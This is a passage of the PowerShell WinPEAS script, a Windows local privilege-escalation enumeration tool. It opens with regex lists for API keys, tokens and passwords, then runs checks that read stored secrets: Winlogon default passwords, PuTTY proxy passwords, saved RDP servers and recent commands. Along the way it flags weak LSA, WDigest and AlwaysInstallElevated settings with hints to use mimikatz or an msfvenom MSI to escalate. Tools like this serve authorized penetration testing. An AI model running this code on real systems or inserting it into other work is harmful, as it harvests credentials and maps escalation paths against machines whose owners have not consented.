\"((key|api|token|secret|password)[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([0-9a-zA-Z_=\\-]{8,64})['\"\"]\")\n}\n\nif ($webAuth) {\n  $regexSearch.add(\"Authorization Basic\", \"basic [a-zA-Z0-9_:\\.=\\-]+\")\n  $regexSearch.add(\"Authorization Bearer\", \"bearer [a-zA-Z0-9_\\.=\\-]+\")\n  $regexSearch.add(\"Alibaba Access Key ID\", \"(LTAI)[a-z0-9]{20}\")\n  $regexSearch.add(\"Alibaba Secret Key\", \"(alibaba[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{30})['\"\"]\")\n  $regexSearch.add(\"Asana Client ID\", \"((asana[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([0-9]{16})['\"\"])|((asana[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{32})['\"\"])\")\n  $regexSearch.add(\"AWS Client ID\", \"(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}\")\n  $regexSearch.add(\"AWS MWS Key\", \"amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\")\n  $regexSearch.add(\"AWS Secret Key\", \"aws(.{0,20})?['\"\"][0-9a-zA-Z\\/+]{40}['\"\"]\")\n  $regexSearch.add(\"AWS AppSync GraphQL Key\", \"da2-[a-z0-9]{26}\")\n  $regexSearch.add(\"Basic Auth Credentials\", \"://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z]+\")\n  $regexSearch.add(\"Beamer Client Secret\", \"(beamer[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"](b_[a-z0-9=_\\-]{44})['\"\"]\")\n  $regexSearch.add(\"Cloudinary Basic Auth\", \"cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+\")\n  $regexSearch.add(\"Facebook Client ID\", \"([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"\"][0-9]{13,17}\")\n  $regexSearch.add(\"Facebook Oauth\", \"[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"\"][0-9a-f]{32}['|\"\"]\")\n  $regexSearch.add(\"Facebook Secret Key\", \"([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"\"][0-9a-f]{32}\")\n  $regexSearch.add(\"Jenkins Creds\", \"<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<\")\n  $regexSearch.add(\"Generic Secret\", \"[sS][eE][cC][rR][eE][tT].*['\"\"][0-9a-zA-Z]{32,45}['\"\"]\")\n  $regexSearch.add(\"Basic Auth\", \"//(.+):(.+)@\")\n  $regexSearch.add(\"PHP Passwords\", \"(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass|pass').*[=:].+|define ?\\('(\\w*pass|\\w*pwd|\\w*user|\\w*datab)\")\n  $regexSearch.add(\"Config Secrets (Passwd / Credentials)\", \"passwd.*|creden.*|^kind:[^a-zA-Z0-9_]?Secret|[^a-zA-Z0-9_]env:|secret:|secretName:|^kind:[^a-zA-Z0-9_]?EncryptionConfiguration|\\-\\-encryption\\-provider\\-config\")\n  $regexSearch.add(\"Generiac API tokens search\", \"(access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key| amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret| api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret| application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket| aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password| bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key| bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver| cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret| client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password| cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|conn.login| connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test| datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password| digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd| docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid| dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password| env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_ .,<\\-]{0,25}(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([0-9a-zA-Z_=\\-]{8,64})['\"\"]\")\n}\n\nif($FullCheck){$Excel = $true}\n\n$regexSearch.add(\"IPs\", \"(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\")\n$Drives = Get-PSDrive | Where-Object { $_.Root -like \"*:\\\" }\n$fileExtensions = @(\"*.xml\", \"*.txt\", \"*.conf\", \"*.config\", \"*.cfg\", \"*.ini\", \".y*ml\", \"*.log\", \"*.bak\", \"*.xls\", \"*.xlsx\", \"*.xlsm\")\n\n\n######################## INTRODUCTION ########################\n$stopwatch = [system.diagnostics.stopwatch]::StartNew()\n\nif ($FullCheck) {\n  Write-Host \"**Full Check Enabled. This will significantly increase false positives in registry / folder check for Usernames / Passwords.**\"\n}\n# Introduction    \nWrite-Host -BackgroundColor Red -ForegroundColor White \"ADVISORY: WinPEAS - Windows local Privilege Escalation Awesome Script\"\nWrite-Host -BackgroundColor Red -ForegroundColor White \"WinPEAS should be used for authorized penetration testing and/or educational purposes only\"\nWrite-Host -BackgroundColor Red -ForegroundColor White \"Any misuse of this software will not be the responsibility of the author or of any other collaborator\"\nWrite-Host -BackgroundColor Red -ForegroundColor White \"Use it at your own networks and/or with the network owner's explicit permission\"\n\n\n# Color Scheme Introduction\nWrite-Host -ForegroundColor red    \"Indicates special privilege over an object or misconfiguration\"\nWrite-Host -ForegroundColor green  \"Indicates protection is enabled or something is well configured\"\nWrite-Host -ForegroundColor cyan   \"Indicates active users\"\nWrite-Host -ForegroundColor Gray   \"Indicates disabled users\"\nWrite-Host -ForegroundColor yellow \"Indicates links\"\nWrite-Host -ForegroundColor Blue   \"Indicates title\"\n\n\nWrite-Host \"You can find a Windows local PE Checklist here: https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html\" -ForegroundColor Yellow\n#write-host  \"Creating Dynamic lists, this could take a while, please wait...\"\n#write-host  \"Loading sensitive_files yaml definitions file...\"\n#write-host  \"Loading regexes yaml definitions file...\"\n\n\n######################## SYSTEM INFORMATION ########################\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host \"====================================||SYSTEM INFORMATION ||====================================\"\n\"The following information is curated. To get a full list of system information, run the cmdlet get-computerinfo\"\n\n#System Info from get-computer info\nsysteminfo.exe\n\n\n#Hotfixes installed sorted by date\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| WINDOWS HOTFIXES\"\nWrite-Host \"=| Check missing patches with the embedded windows vulnerability definitions\" -ForegroundColor Yellow\n$Hotfix = Get-HotFix | Sort-Object -Descending -Property InstalledOn -ErrorAction SilentlyContinue | Select-Object HotfixID, Description, InstalledBy, InstalledOn\n$Hotfix | Format-Table -AutoSize\n\n\n# PrintNightmare PointAndPrint policy checks\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| PRINTNIGHTMARE POINTANDPRINT POLICY\"\n$pnKey = \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint\"\nif (Test-Path $pnKey) {\n  $pn = Get-ItemProperty -Path $pnKey -ErrorAction SilentlyContinue\n  $restrict = $pn.RestrictDriverInstallationToAdministrators\n  $noWarn = $pn.NoWarningNoElevationOnInstall\n  $updatePrompt = $pn.UpdatePromptSettings\n\n  Write-Host \"RestrictDriverInstallationToAdministrators: $restrict\"\n  Write-Host \"NoWarningNoElevationOnInstall: $noWarn\"\n  Write-Host \"UpdatePromptSettings: $updatePrompt\"\n\n  $hasAllValues = ($null -ne $restrict) -and ($null -ne $noWarn) -and ($null -ne $updatePrompt)\n  if (-not $hasAllValues) {\n    Write-Host \"PointAndPrint policy values are missing or not configured\" -ForegroundColor Gray\n  } elseif (($restrict -eq 0) -and ($noWarn -eq 1) -and ($updatePrompt -eq 2)) {\n    Write-Host \"Potentially vulnerable to PrintNightmare misconfiguration\" -ForegroundColor Red\n  } else {\n    Write-Host \"PointAndPrint policy is not in the known risky configuration\" -ForegroundColor Green\n  }\n} else {\n  Write-Host \"PointAndPrint policy key not found\" -ForegroundColor Gray\n}\n\n\n#Show all unique updates installed\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| ALL UPDATES INSTALLED\"\n\n\n# 0, and 5 are not used for history\n# See https://msdn.microsoft.com/en-us/library/windows/desktop/aa387095(v=vs.85).aspx\n# Source: https://stackoverflow.com/questions/41626129/how-do-i-get-the-update-history-from-windows-update-in-powershell?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa\n\n$session = (New-Object -ComObject 'Microsoft.Update.Session')\n# Query the latest 50 updates starting with the first record\n$history = $session.QueryHistory(\"\", 0, 1000) | Select-Object ResultCode, Date, Title\n\n#create an array for unique HotFixes\n$HotfixUnique = @()\n#$HotfixUnique += ($history[0].title | Select-String -AllMatches -Pattern 'KB(\\d{4,6})').Matches.Value\n\n$HotFixReturnNum = @()\n#$HotFixReturnNum += 0 \n\nfor ($i = 0; $i -lt $history.Count; $i++) {\n  $check = returnHotFixID -title $history[$i].Title\n  if ($HotfixUnique -like $check) {\n    #Do Nothing\n  }\n  else {\n    $HotfixUnique += $check\n    $HotFixReturnNum += $i\n  }\n}\n$FinalHotfixList = @()\n\n$hotfixreturnNum | ForEach-Object {\n  $HotFixItem = $history[$_]\n  $Result = $HotFixItem.ResultCode\n  # https://learn.microsoft.com/en-us/windows/win32/api/wuapi/ne-wuapi-operationresultcode?redirectedfrom=MSDN\n  switch ($Result) {\n    1 {\n      $Result = \"Missing/Superseded\"\n    }\n    2 {\n      $Result = \"Succeeded\"\n    }\n    3 {\n      $Result = \"Succeeded With Errors\"\n    }\n    4 {\n      $Result = \"Failed\"\n    }\n    5 {\n      $Result = \"Canceled\"\n    }\n  }\n  $FinalHotfixList += New-Object -TypeName PSObject -Property ([Ordered]@{ \n    Result = $Result\n    Date   = $HotFixItem.Date\n    Title  = $HotFixItem.Title\n  })\n}\n$FinalHotfixList | Format-Table -AutoSize\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Drive Info\"\n# Load the System.Management assembly\nAdd-Type -AssemblyName System.Management\n\n# Create a ManagementObjectSearcher to query Win32_LogicalDisk\n$diskSearcher = New-Object System.Management.ManagementObjectSearcher(\"SELECT * FROM Win32_LogicalDisk WHERE DriveType = 3\")\n\n# Get the system drives\n$systemDrives = $diskSearcher.Get()\n\n# Loop through each drive and display its information\nforeach ($drive in $systemDrives) {\n  $driveLetter = $drive.DeviceID\n  $driveLabel = $drive.VolumeName\n  $driveSize = [math]::Round($drive.Size / 1GB, 2)\n  $driveFreeSpace = [math]::Round($drive.FreeSpace / 1GB, 2)\n\n  Write-Output \"Drive: $driveLetter\"\n  Write-Output \"Label: $driveLabel\"\n  Write-Output \"Size: $driveSize GB\"\n  Write-Output \"Free Space: $driveFreeSpace GB\"\n  Write-Output \"\"\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Antivirus Detection (attemping to read exclusions as well)\"\nWMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName\nGet-ChildItem 'registry::HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions' -ErrorAction SilentlyContinue\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| NET ACCOUNTS Info\"\nnet accounts\n\n######################## REGISTRY SETTING CHECK ########################\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| REGISTRY SETTINGS CHECK\"\n\n \nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Audit Log Settings\"\n#Check audit registry\nif ((Test-Path HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\\).Property) {\n  Get-Item -Path HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\\\n}\nelse {\n  Write-Host \"No Audit Log settings, no registry entry found.\"\n}\n\n \nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Windows Event Forward (WEF) registry\"\nif (Test-Path HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\EventLog\\EventForwarding\\SubscriptionManager) {\n  Get-Item HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\EventLog\\EventForwarding\\SubscriptionManager\n}\nelse {\n  Write-Host \"Logs are not being fowarded, no registry entry found.\"\n}\n\n \nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| LAPS Check\"\nif (Test-Path 'C:\\Program Files\\LAPS\\CSE\\Admpwd.dll') { Write-Host \"LAPS dll found on this machine at C:\\Program Files\\LAPS\\CSE\\\" -ForegroundColor Green }\nelseif (Test-Path 'C:\\Program Files (x86)\\LAPS\\CSE\\Admpwd.dll' ) { Write-Host \"LAPS dll found on this machine at C:\\Program Files (x86)\\LAPS\\CSE\\\" -ForegroundColor Green }\nelse { Write-Host \"LAPS dlls not found on this machine\" }\nif ((Get-ItemProperty HKLM:\\Software\\Policies\\Microsoft Services\\AdmPwd -ErrorAction SilentlyContinue).AdmPwdEnabled -eq 1) { Write-Host \"LAPS registry key found on this machine\" -ForegroundColor Green }\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| WDigest Check\"\n$WDigest = (Get-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest).UseLogonCredential\nswitch ($WDigest) {\n  0 { Write-Host \"Value 0 found. Plain-text Passwords are not stored in LSASS\" }\n  1 { Write-Host \"Value 1 found. Plain-text Passwords may be stored in LSASS\" -ForegroundColor red }\n  Default { Write-Host \"The system was unable to find the specified registry value: UseLogonCredential\" }\n}\n\n \nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| LSA Protection Check\"\n$RunAsPPL = (Get-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\LSA).RunAsPPL\n$RunAsPPLBoot = (Get-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\LSA).RunAsPPLBoot\nswitch ($RunAsPPL) {\n  2 { Write-Host \"RunAsPPL: 2. Enabled without UEFI Lock\" }\n  1 { Write-Host \"RunAsPPL: 1. Enabled with UEFI Lock\" }\n  0 { Write-Host \"RunAsPPL: 0. LSA Protection Disabled. Try mimikatz.\" -ForegroundColor red }\n  Default { \"The system was unable to find the specified registry value: RunAsPPL / RunAsPPLBoot\" }\n}\nif ($RunAsPPLBoot) { Write-Host \"RunAsPPLBoot: $RunAsPPLBoot\" }\n\n \nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Credential Guard Check\"\n$LsaCfgFlags = (Get-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\LSA).LsaCfgFlags\nswitch ($LsaCfgFlags) {\n  2 { Write-Host \"LsaCfgFlags 2. Enabled without UEFI Lock\" }\n  1 { Write-Host \"LsaCfgFlags 1. Enabled with UEFI Lock\" }\n  0 { Write-Host \"LsaCfgFlags 0. LsaCfgFlags Disabled.\" -ForegroundColor red }\n  Default { \"The system was unable to find the specified registry value: LsaCfgFlags\" }\n}\n\n \nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Cached WinLogon Credentials Check\"\nif (Test-Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\") {\n  (Get-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"CACHEDLOGONSCOUNT\").CACHEDLOGONSCOUNT\n  Write-Host \"However, only the SYSTEM user can view the credentials here: HKEY_LOCAL_MACHINE\\SECURITY\\Cache\"\n  Write-Host \"Or, using mimikatz lsadump::cache\"\n}\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Additonal Winlogon Credentials Check\"\n\n(Get-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\").DefaultDomainName\n(Get-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\").DefaultUserName\n(Get-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\").DefaultPassword\n(Get-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\").AltDefaultDomainName\n(Get-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\").AltDefaultUserName\n(Get-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\").AltDefaultPassword\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| RDCMan Settings Check\"\n\nif (Test-Path \"$env:USERPROFILE\\appdata\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings\") {\n  Write-Host \"RDCMan Settings Found at: $($env:USERPROFILE)\\appdata\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings\" -ForegroundColor Red\n}\nelse { Write-Host \"No RDCMan.Settings found.\" }\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| RDP Saved Connections Check\"\n\nWrite-Host \"HK_Users\"\nNew-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS -ErrorAction SilentlyContinue\nGet-ChildItem HKU:\\ -ErrorAction SilentlyContinue | ForEach-Object {\n  # get the SID from output\n  $HKUSID = $_.Name.Replace('HKEY_USERS\\', \"\")\n  if (Test-Path \"registry::HKEY_USERS\\$HKUSID\\Software\\Microsoft\\Terminal Server Client\\Default\") {\n    Write-Host \"Server Found: $((Get-ItemProperty \"registry::HKEY_USERS\\$HKUSID\\Software\\Microsoft\\Terminal Server Client\\Default\" -Name MRU0).MRU0)\"\n  }\n  else { Write-Host \"Not found for $($_.Name)\" }\n}\n\nWrite-Host \"HKCU\"\nif (Test-Path \"registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\") {\n  Write-Host \"Server Found: $((Get-ItemProperty \"registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\" -Name MRU0).MRU0)\"\n}\nelse { Write-Host \"Terminal Server Client not found in HCKU\" }\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Putty Stored Credentials Check\"\n\nif (Test-Path HKCU:\\SOFTWARE\\SimonTatham\\PuTTY\\Sessions) {\n  Get-ChildItem HKCU:\\SOFTWARE\\SimonTatham\\PuTTY\\Sessions | ForEach-Object {\n    $RegKeyName = Split-Path $_.Name -Leaf\n    Write-Host \"Key: $RegKeyName\"\n    @(\"HostName\", \"PortNumber\", \"UserName\", \"PublicKeyFile\", \"PortForwardings\", \"ConnectionSharing\", \"ProxyUsername\", \"ProxyPassword\") | ForEach-Object {\n      Write-Host \"$_ :\"\n      Write-Host \"$((Get-ItemProperty  HKCU:\\SOFTWARE\\SimonTatham\\PuTTY\\Sessions\\$RegKeyName).$_)\"\n    }\n  }\n}\nelse { Write-Host \"No putty credentials found in HKCU:\\SOFTWARE\\SimonTatham\\PuTTY\\Sessions\" }\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| SSH Key Checks\"\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| If found:\"\nWrite-Host \"https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/\" -ForegroundColor Yellow\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Checking Putty SSH KNOWN HOSTS\"\nif (Test-Path HKCU:\\Software\\SimonTatham\\PuTTY\\SshHostKeys) { \n  Write-Host \"$((Get-Item -Path HKCU:\\Software\\SimonTatham\\PuTTY\\SshHostKeys).Property)\"\n}\nelse { Write-Host \"No putty ssh keys found\" }\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Checking for OpenSSH Keys\"\nif (Test-Path HKCU:\\Software\\OpenSSH\\Agent\\Keys) { Write-Host \"OpenSSH keys found. Try this for decryption: https://github.com/ropnop/windows_sshagent_extract\" -ForegroundColor Yellow }\nelse { Write-Host \"No OpenSSH Keys found.\" }\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Checking for WinVNC Passwords\"\nif (Test-Path \"HKCU:\\Software\\ORL\\WinVNC3\\Password\") { Write-Host \" WinVNC found at HKCU:\\Software\\ORL\\WinVNC3\\Password\" }else { Write-Host \"No WinVNC found.\" }\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Checking for SNMP Passwords\"\nif (Test-Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\SNMP\") { Write-Host \"SNMP Key found at HKLM:\\SYSTEM\\CurrentControlSet\\Services\\SNMP\" }else { Write-Host \"No SNMP found.\" }\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Checking for TightVNC Passwords\"\nif (Test-Path \"HKCU:\\Software\\TightVNC\\Server\") { Write-Host \"TightVNC key found at HKCU:\\Software\\TightVNC\\Server\" }else { Write-Host \"No TightVNC found.\" }\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| UAC Settings\"\nif ((Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System).EnableLUA -eq 1) {\n  Write-Host \"EnableLUA is equal to 1. Part or all of the UAC components are on.\"\n  Write-Host \"https://book.hacktricks.wiki/en/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.html#very-basic-uac-bypass-full-file-system-access\" -ForegroundColor Yellow\n}\nelse { Write-Host \"EnableLUA value not equal to 1\" }\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Recently Run Commands (WIN+R)\"\n\nGet-ChildItem HKU:\\ -ErrorAction SilentlyContinue | ForEach-Object {\n  # get the SID from output\n  $HKUSID = $_.Name.Replace('HKEY_USERS\\', \"\")\n  $property = (Get-Item \"HKU:\\$_\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\" -ErrorAction SilentlyContinue).Property\n  $HKUSID | ForEach-Object {\n    if (Test-Path \"HKU:\\$_\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\") {\n      Write-Host -ForegroundColor Blue \"=========||HKU Recently Run Commands\"\n      foreach ($p in $property) {\n        Write-Host \"$((Get-Item \"HKU:\\$_\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\" -ErrorAction SilentlyContinue).getValue($p))\" \n      }\n    }\n  }\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========||HKCU Recently Run Commands\"\n$property = (Get-Item \"HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\" -ErrorAction SilentlyContinue).Property\nforeach ($p in $property) {\n  Write-Host \"$((Get-Item \"HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\" -ErrorAction SilentlyContinue).getValue($p))\"\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Always Install Elevated Check\"\n \n \nWrite-Host \"Checking Windows Installer Registry (will populate if the key exists)\"\nif ((Get-ItemProperty HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer -ErrorAction SilentlyContinue).AlwaysInstallElevated -eq 1) {\n  Write-Host \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer).AlwaysInstallElevated = 1\" -ForegroundColor red\n  Write-Host \"Try msfvenom msi package to escalate\" -ForegroundColor red\n  Write-Host \"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#metasploit-payloads\" -ForegroundColor Yellow\n}\n \nif ((Get-ItemProperty HKCU:\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer -ErrorAction SilentlyContinue).AlwaysInstallElevated -eq 1) { \n  Write-Host \"HKCU:\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer).AlwaysInstallElevated = 1\" -ForegroundColor red\n  Write-Host \"Try msfvenom msi package to escalate\" -ForegroundColor red\n  Write-Host \"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#metasploit-payloads\" -ForegroundColor Yellow\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| PowerShell Info\"\n\n(Get-ItemProperty registry::HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine).PowerShellVersion | ForEach-Object {\n  Write-Host \"PowerShell $_ available\"\n}\n(Get-ItemProperty registry::HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine).PowerShellVersion | ForEach-Object {\n  Write-Host  \"PowerShell $_ available\"\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| PowerShell Registry Transcript Check\"\n\nif (Test-Path HKCU:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription) {\n  Get-Item HKCU:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription\n}\nif (Test-Path HKLM:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription) {\n  Get-Item HKLM:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription\n}\nif (Test-Path HKCU:\\Wow6432Node\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription) {\n  Get-Item HKCU:\\Wow6432Node\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription\n}\nif (Test-Path HKLM:\\Wow6432Node\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription) {\n  Get-Item HKLM:\\Wow6432Node\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription\n}\n \n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| PowerShell Module Log Check\"\nif (Test-Path HKCU:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging) {\n  Get-Item HKCU:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging\n}\nif (Test-Path HKLM:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging) {\n  Get-Item HKLM:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging\n}\nif (Test-Path HKCU:\\Wow6432Node\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging) {\n  Get-Item HKCU:\\Wow6432Node\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging\n}\nif (Test-Path HKLM:\\Wow6432Node\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging) {\n  Get-Item 